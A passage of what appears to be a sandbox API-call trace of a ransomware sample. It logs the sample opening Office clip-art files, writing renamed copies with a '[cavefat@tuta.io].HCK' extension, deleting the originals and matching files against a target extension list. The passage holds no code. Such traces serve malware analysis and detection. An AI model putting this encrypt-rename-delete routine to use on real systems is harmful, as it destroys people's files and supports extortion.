(lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0227.881] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.881] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0227.882] GetLastError () returned 0x0 [0227.882] ReadFile (in: hFile=0x4ac, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x2232, lpOverlapped=0x0) returned 1 [0227.893] WriteFile (in: hFile=0x448, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x2240, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x2240, lpOverlapped=0x0) returned 1 [0227.894] ReadFile (in: hFile=0x4ac, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0227.895] WriteFile (in: hFile=0x448, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0227.895] SetEndOfFile (hFile=0x448) returned 1 [0227.895] CloseHandle (hObject=0x448) returned 1 [0227.895] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.895] SetEndOfFile (hFile=0x4ac) returned 1 [0227.898] CloseHandle (hObject=0x4ac) returned 1 [0227.898] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0227.898] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf")) returned 1 [0227.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0227.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0227.899] lstrlenW (lpString=".doc") returned 4 [0227.899] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0227.899] lstrlenW (lpString=".docx") returned 5 [0227.899] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0227.899] lstrlenW (lpString=".pdf") returned 4 [0227.899] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0227.899] lstrlenW (lpString=".xls") returned 4 [0227.899] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0227.899] lstrlenW (lpString=".xlsx") returned 5 [0227.899] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0227.899] lstrlenW (lpString=".ppt") returned 4 [0227.899] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0227.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0227.899] lstrlenW (lpString=".zip") returned 4 [0227.899] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0227.899] lstrlenW (lpString=".rar") returned 4 [0227.899] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0227.899] lstrlenW (lpString=".bz2") returned 4 [0227.899] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0227.899] lstrlenW (lpString=".7z") returned 3 [0227.899] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0227.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0227.899] lstrlenW (lpString=".dbf") returned 4 [0227.899] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0227.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0227.899] lstrlenW (lpString=".1cd") returned 4 [0227.900] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0227.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0227.900] lstrlenW (lpString=".jpg") returned 4 [0227.900] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0227.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0227.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0227.900] lstrlenW (lpString=".doc") returned 4 [0227.900] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0227.900] lstrlenW (lpString=".docx") returned 5 [0227.900] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0227.900] lstrlenW (lpString=".pdf") returned 4 [0227.900] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0227.900] lstrlenW (lpString=".xls") returned 4 [0227.900] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0227.900] lstrlenW (lpString=".xlsx") returned 5 [0227.900] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0227.900] lstrlenW (lpString=".ppt") returned 4 [0227.900] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0227.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0227.900] lstrlenW (lpString=".zip") returned 4 [0227.900] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0227.900] lstrlenW (lpString=".rar") returned 4 [0227.900] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0227.900] lstrlenW (lpString=".bz2") returned 4 [0227.900] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0227.900] lstrlenW (lpString=".7z") returned 3 [0227.900] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0227.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0227.900] lstrlenW (lpString=".dbf") returned 4 [0227.900] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0227.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0227.900] lstrlenW (lpString=".1cd") returned 4 [0227.900] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0227.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0227.900] lstrlenW (lpString=".jpg") returned 4 [0227.900] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0227.900] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0227.900] lstrlenW (lpString="J0099172.WMF") returned 12 [0227.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0227.901] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=58258) returned 1 [0227.901] CloseHandle (hObject=0x4ac) returned 1 [0227.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf")) returned 0x220 [0227.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0227.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0227.902] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.902] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0227.903] GetLastError () returned 0x0 [0227.903] ReadFile (in: hFile=0x4ac, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0xe392, lpOverlapped=0x0) returned 1 [0228.221] WriteFile (in: hFile=0x448, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xe3a0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xe3a0, lpOverlapped=0x0) returned 1 [0228.223] ReadFile (in: hFile=0x4ac, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0228.223] WriteFile (in: hFile=0x448, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0228.223] SetEndOfFile (hFile=0x448) returned 1 [0228.223] CloseHandle (hObject=0x448) returned 1 [0228.223] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.223] SetEndOfFile (hFile=0x4ac) returned 1 [0228.225] CloseHandle (hObject=0x4ac) returned 1 [0228.226] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0228.226] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf")) returned 1 [0228.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0228.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0228.228] lstrlenW (lpString=".doc") returned 4 [0228.228] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0228.228] lstrlenW (lpString=".docx") returned 5 [0228.228] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0228.228] lstrlenW (lpString=".pdf") returned 4 [0228.228] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0228.228] lstrlenW (lpString=".xls") returned 4 [0228.228] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0228.228] lstrlenW (lpString=".xlsx") returned 5 [0228.228] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0228.228] lstrlenW (lpString=".ppt") returned 4 [0228.228] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0228.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0228.228] lstrlenW (lpString=".zip") returned 4 [0228.228] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0228.228] lstrlenW (lpString=".rar") returned 4 [0228.228] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0228.228] lstrlenW (lpString=".bz2") returned 4 [0228.228] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0228.228] lstrlenW (lpString=".7z") returned 3 [0228.228] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0228.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0228.228] lstrlenW (lpString=".dbf") returned 4 [0228.228] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0228.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0228.228] lstrlenW (lpString=".1cd") returned 4 [0228.228] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0228.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0228.228] lstrlenW (lpString=".jpg") returned 4 [0228.228] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0228.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0228.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0228.228] lstrlenW (lpString=".doc") returned 4 [0228.228] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0228.228] lstrlenW (lpString=".docx") returned 5 [0228.228] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0228.228] lstrlenW (lpString=".pdf") returned 4 [0228.228] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0228.229] lstrlenW (lpString=".xls") returned 4 [0228.229] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0228.229] lstrlenW (lpString=".xlsx") returned 5 [0228.229] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0228.229] lstrlenW (lpString=".ppt") returned 4 [0228.229] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0228.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0228.229] lstrlenW (lpString=".zip") returned 4 [0228.229] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0228.229] lstrlenW (lpString=".rar") returned 4 [0228.229] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0228.229] lstrlenW (lpString=".bz2") returned 4 [0228.229] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0228.229] lstrlenW (lpString=".7z") returned 3 [0228.229] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0228.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0228.229] lstrlenW (lpString=".dbf") returned 4 [0228.229] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0228.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0228.229] lstrlenW (lpString=".1cd") returned 4 [0228.229] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0228.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0228.229] lstrlenW (lpString=".jpg") returned 4 [0228.229] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0228.229] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0228.229] lstrlenW (lpString="J0099180.WMF") returned 12 [0228.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0228.230] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=3394) returned 1 [0228.230] CloseHandle (hObject=0x4ac) returned 1 [0228.230] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf")) returned 0x220 [0228.230] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0228.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0228.231] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.231] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0228.233] GetLastError () returned 0x0 [0228.233] ReadFile (in: hFile=0x4ac, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0xd42, lpOverlapped=0x0) returned 1 [0228.234] WriteFile (in: hFile=0x448, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xd50, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xd50, lpOverlapped=0x0) returned 1 [0228.235] ReadFile (in: hFile=0x4ac, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0228.235] WriteFile (in: hFile=0x448, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0228.236] SetEndOfFile (hFile=0x448) returned 1 [0228.236] CloseHandle (hObject=0x448) returned 1 [0228.236] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.236] SetEndOfFile (hFile=0x4ac) returned 1 [0228.238] CloseHandle (hObject=0x4ac) returned 1 [0228.238] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0228.239] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf")) returned 1 [0228.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0228.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0228.239] lstrlenW (lpString=".doc") returned 4 [0228.239] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0228.239] lstrlenW (lpString=".docx") returned 5 [0228.239] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0228.239] lstrlenW (lpString=".pdf") returned 4 [0228.239] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0228.239] lstrlenW (lpString=".xls") returned 4 [0228.240] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0228.240] lstrlenW (lpString=".xlsx") returned 5 [0228.240] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0228.240] lstrlenW (lpString=".ppt") returned 4 [0228.240] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0228.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0228.240] lstrlenW (lpString=".zip") returned 4 [0228.240] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0228.240] lstrlenW (lpString=".rar") returned 4 [0228.240] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0228.240] lstrlenW (lpString=".bz2") returned 4 [0228.240] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0228.240] lstrlenW (lpString=".7z") returned 3 [0228.240] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0228.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0228.240] lstrlenW (lpString=".dbf") returned 4 [0228.240] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0228.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0228.240] lstrlenW (lpString=".1cd") returned 4 [0228.240] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0228.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0228.240] lstrlenW (lpString=".jpg") returned 4 [0228.240] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0228.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0228.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0228.240] lstrlenW (lpString=".doc") returned 4 [0228.240] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0228.240] lstrlenW (lpString=".docx") returned 5 [0228.240] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0228.240] lstrlenW (lpString=".pdf") returned 4 [0228.240] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0228.240] lstrlenW (lpString=".xls") returned 4 [0228.241] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0228.241] lstrlenW (lpString=".xlsx") returned 5 [0228.241] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0228.241] lstrlenW (lpString=".ppt") returned 4 [0228.241] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0228.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0228.241] lstrlenW (lpString=".zip") returned 4 [0228.241] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0228.241] lstrlenW (lpString=".rar") returned 4 [0228.241] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0228.241] lstrlenW (lpString=".bz2") returned 4 [0228.241] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0228.241] lstrlenW (lpString=".7z") returned 3 [0228.241] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0228.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0228.241] lstrlenW (lpString=".dbf") returned 4 [0228.241] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0228.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0228.241] lstrlenW (lpString=".1cd") returned 4 [0228.241] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0228.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0228.241] lstrlenW (lpString=".jpg") returned 4 [0228.241] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0228.241] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0228.241] lstrlenW (lpString="J0099181.WMF") returned 12 [0228.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0228.242] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=1198) returned 1 [0228.242] CloseHandle (hObject=0x4ac) returned 1 [0228.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf")) returned 0x220 [0228.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0228.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0228.243] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.243] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, 